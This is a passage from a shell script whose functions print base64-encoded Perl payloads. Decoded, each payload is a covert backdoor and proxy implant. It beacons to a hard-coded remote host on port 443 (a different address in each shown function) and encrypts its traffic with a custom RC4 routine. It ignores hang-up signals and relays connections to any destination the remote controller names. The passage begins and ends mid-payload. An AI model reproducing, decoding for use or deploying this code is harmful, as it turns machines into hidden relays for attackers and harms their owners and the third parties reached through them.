NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_36() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_37() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg 